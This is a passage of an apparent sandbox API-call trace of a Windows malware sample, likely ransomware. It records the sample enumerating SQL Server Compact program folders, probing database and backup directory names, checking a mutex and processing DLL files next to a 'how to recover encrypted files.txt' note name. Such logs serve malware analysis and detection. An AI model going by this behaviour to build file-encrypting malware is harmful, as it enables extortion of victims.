Files\\Microsoft SQL Server Compact Edition\\v3.5\\Microsoft SQL Server", lpFindFileData=0x18eecc | out: lpFindFileData=0x18eecc*(dwFileAttributes=0x7758b50a, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="㎬R䱠@ꍴR企@\x18㺄Q\x181")) returned 0xffffffff [0041.142] GetLastError () returned 0x2 [0041.142] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\", cchLength=0x3b | out: lpsz="c:\\program files\\microsoft sql server compact edition\\v3.5\\") returned 0x3b [0041.143] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18e0d0, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0041.143] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe208, cbMultiByte=9, lpWideCharStr=0x18e118, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\牡敩s") returned 9 [0041.143] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Firebird", lpFindFileData=0x18eecc | out: lpFindFileData=0x18eecc*(dwFileAttributes=0x7758b50a, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="㎬R䱠@ꐬR企@\x18?T\x18;")) returned 0xffffffff [0041.144] GetLastError () returned 0x2 [0041.144] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\", cchLength=0x3b | out: lpsz="c:\\program files\\microsoft sql server compact edition\\v3.5\\") returned 0x3b [0041.144] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=9, lpWideCharStr=0x18e0d0, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0041.144] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe208, cbMultiByte=8, lpWideCharStr=0x18e118, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\牡敩s") returned 8 [0041.145] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\MSSQL.1", lpFindFileData=0x18eecc | out: lpFindFileData=0x18eecc*(dwFileAttributes=0x7758b50a, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="㎬R䱠@ꍴR企@\x18?T\x18D")) returned 0xffffffff [0041.146] GetLastError () returned 0x2 [0041.146] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\", cchLength=0x3b | out: lpsz="c:\\program files\\microsoft sql server compact edition\\v3.5\\") returned 0x3b [0041.146] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=8, lpWideCharStr=0x18e0d0, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0041.146] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe208, cbMultiByte=37, lpWideCharStr=0x18e118, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0041.146] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eecc | out: lpFindFileData=0x18eecc*(dwFileAttributes=0x7758b50a, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="㎬R䱠@ꐬR企@\x18ⶔR\x18j")) returned 0xffffffff [0041.148] GetLastError () returned 0x2 [0041.148] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\", cchLength=0x3b | out: lpsz="c:\\program files\\microsoft sql server compact edition\\v3.5\\") returned 0x3b [0041.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18e0d0, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0041.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe208, cbMultiByte=6, lpWideCharStr=0x18e118, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0041.148] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Adobe", lpFindFileData=0x18eecc | out: lpFindFileData=0x18eecc*(dwFileAttributes=0x7758b50a, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="㎬R䱠@뭼R企@\x18?T\x18q")) returned 0xffffffff [0041.150] GetLastError () returned 0x2 [0041.150] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\", cchLength=0x3b | out: lpsz="c:\\program files\\microsoft sql server compact edition\\v3.5\\") returned 0x3b [0041.150] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=6, lpWideCharStr=0x18e0d0, cchWideChar=2047 | out: lpWideCharStr="adobe\\ⶐR\x80") returned 6 [0041.150] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe208, cbMultiByte=7, lpWideCharStr=0x18e118, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0041.150] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Oracle", lpFindFileData=0x18eecc | out: lpFindFileData=0x18eecc*(dwFileAttributes=0x7758b50a, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="㎬R䱠@ꜤR企@\x18?T\x18y")) returned 0xffffffff [0041.151] GetLastError () returned 0x2 [0041.152] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\", cchLength=0x3b | out: lpsz="c:\\program files\\microsoft sql server compact edition\\v3.5\\") returned 0x3b [0041.152] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=7, lpWideCharStr=0x18e0d0, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0041.152] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe208, cbMultiByte=7, lpWideCharStr=0x18e118, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0041.152] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Archive", lpFindFileData=0x18eecc | out: lpFindFileData=0x18eecc*(dwFileAttributes=0x7758b50a, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="㎬R䱠@ꍴR企@\x18?T\x18\x81")) returned 0xffffffff [0041.153] GetLastError () returned 0x2 [0041.153] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\", cchLength=0x3b | out: lpsz="c:\\program files\\microsoft sql server compact edition\\v3.5\\") returned 0x3b [0041.153] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=7, lpWideCharStr=0x18e0d0, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0041.153] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe208, cbMultiByte=6, lpWideCharStr=0x18e118, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0041.154] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Backup", lpFindFileData=0x18eecc | out: lpFindFileData=0x18eecc*(dwFileAttributes=0x7758b50a, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="㎬R䱠@뭼R企@\x18?T\x18\x88")) returned 0xffffffff [0041.155] GetLastError () returned 0x2 [0041.155] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\", cchLength=0x3b | out: lpsz="c:\\program files\\microsoft sql server compact edition\\v3.5\\") returned 0x3b [0041.155] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=6, lpWideCharStr=0x18e0d0, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0041.155] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe208, cbMultiByte=6, lpWideCharStr=0x18e118, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0041.156] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Reserv", lpFindFileData=0x18eecc | out: lpFindFileData=0x18eecc*(dwFileAttributes=0x7758b50a, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="㎬R䱠@ꜤR企@\x18?T\x18\x8f")) returned 0xffffffff [0041.157] GetLastError () returned 0x2 [0041.157] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\", cchLength=0x3b | out: lpsz="c:\\program files\\microsoft sql server compact edition\\v3.5\\") returned 0x3b [0041.157] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=6, lpWideCharStr=0x18e0d0, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0041.157] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe208, cbMultiByte=7, lpWideCharStr=0x18e118, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0041.157] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\Restore", lpFindFileData=0x18eecc | out: lpFindFileData=0x18eecc*(dwFileAttributes=0x7758b50a, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x550178, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69820, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x552188, cFileName="㪀P\xfdee㰒", cAlternateFileName="㎬R䱠@ꍴR企@\x18?T\x18\x97")) returned 0xffffffff [0041.159] GetLastError () returned 0x2 [0041.159] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\", cchLength=0x3b | out: lpsz="c:\\program files\\microsoft sql server compact edition\\v3.5\\") returned 0x3b [0041.159] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69678, cbMultiByte=7, lpWideCharStr=0x18e0d0, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0041.159] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.159] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.159] GlobalUnlock (hMem=0x440004) returned 0 [0041.159] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.159] GlobalLock (hMem=0x44000c) returned 0x550178 [0041.159] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.159] GlobalUnlock (hMem=0x440004) returned 0 [0041.159] GlobalHandle (pMem=0x550178) returned 0x44000c [0041.159] GlobalUnlock (hMem=0x44000c) returned 0 [0041.159] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61c18, cbMultiByte=3, lpWideCharStr=0x18e124, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\") returned 3 [0041.159] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\*.*", lpFindFileData=0x18f1f0 | out: lpFindFileData=0x18f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5251d8 [0041.160] FindNextFileW (in: hFindFile=0x5251d8, lpFindFileData=0x18f1f0 | out: lpFindFileData=0x18f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.160] FindNextFileW (in: hFindFile=0x5251d8, lpFindFileData=0x18f1f0 | out: lpFindFileData=0x18f1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0041.160] FindNextFileW (in: hFindFile=0x5251d8, lpFindFileData=0x18f1f0 | out: lpFindFileData=0x18f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x5ab6f770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x8b840, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlceca35.dll", cAlternateFileName="SQLCEC~1.DLL")) returned 1 [0041.160] FileTimeToLocalFileTime (in: lpFileTime=0x18f204, lpLocalFileTime=0x18f114 | out: lpLocalFileTime=0x18f114) returned 1 [0041.160] FileTimeToDosDateTime (in: lpFileTime=0x18f114, lpFatDate=0x18f1d2, lpFatTime=0x18f1d0 | out: lpFatDate=0x18f1d2, lpFatTime=0x18f1d0) returned 1 [0041.160] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.160] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.160] GlobalUnlock (hMem=0x44000c) returned 0 [0041.160] GlobalLock (hMem=0x44000c) returned 0x54e168 [0041.160] GlobalLock (hMem=0x440004) returned 0x550178 [0041.160] GlobalHandle (pMem=0x54e168) returned 0x44000c [0041.160] GlobalUnlock (hMem=0x44000c) returned 0 [0041.160] GlobalHandle (pMem=0x550178) returned 0x440004 [0041.160] GlobalUnlock (hMem=0x440004) returned 0 [0041.160] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.161] CharLowerBuffW (in: lpsz="sqlceca35.dll", cchLength=0xd | out: lpsz="sqlceca35.dll") returned 0xd [0041.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3ñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="añ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.161] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e0b0, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0041.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceca35.dll", cchWideChar=72, lpMultiByteStr=0x18e08c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceca35.dllr", lpUsedDefaultChar=0x0) returned 72 [0041.161] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0041.161] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18e0b0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllmpact Edition\\v3.5\\sqlceca35.dllr", lpUsedDefaultChar=0x0) returned 4 [0041.162] FindNextFileW (in: hFindFile=0x5251d8, lpFindFileData=0x18f1f0 | out: lpFindFileData=0x18f1f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd805600, ftCreationTime.dwHighDateTime=0x1c8d68c, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd805600, ftLastWriteTime.dwHighDateTime=0x1c8d68c, nFileSizeHigh=0x0, nFileSizeLow=0x1d040, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlcecompact35.dll", cAlternateFileName="SQLCEC~2.DLL")) returned 1 [0041.162] FileTimeToLocalFileTime (in: lpFileTime=0x18f204, lpLocalFileTime=0x18f110 | out: lpLocalFileTime=0x18f110) returned 1 [0041.162] FileTimeToDosDateTime (in: lpFileTime=0x18f110, lpFatDate=0x18f1d2, lpFatTime=0x18f1d0 | out: lpFatDate=0x18f1d2, lpFatTime=0x18f1d0) returned 1 [0041.162] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.162] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.162] GlobalUnlock (hMem=0x440004) returned 0 [0041.162] GlobalLock (hMem=0x440004) returned 0x54e168 [0041.162] GlobalLock (hMem=0x44000c) returned 0x550178 [0041.162] GlobalHandle (pMem=0x54e168) returned 0x440004 [0041.162] GlobalUnlock (hMem=0x440004) returned 0 [0041.162] GlobalHandle (pMem=0x550178) returned 0x44000c [0041.162] GlobalUnlock (hMem=0x44000c) returned 0 [0041.162] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.162] CharLowerBuffW (in: lpsz="sqlcecompact35.dll", cchLength=0x12 | out: lpsz="sqlcecompact35.dll") returned 0x12 [0041.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="5", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5ñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3ñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="añ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.162] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e0a8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pñ\x18", lpUsedDefaultChar=0x0) returned 1 [0041.162] 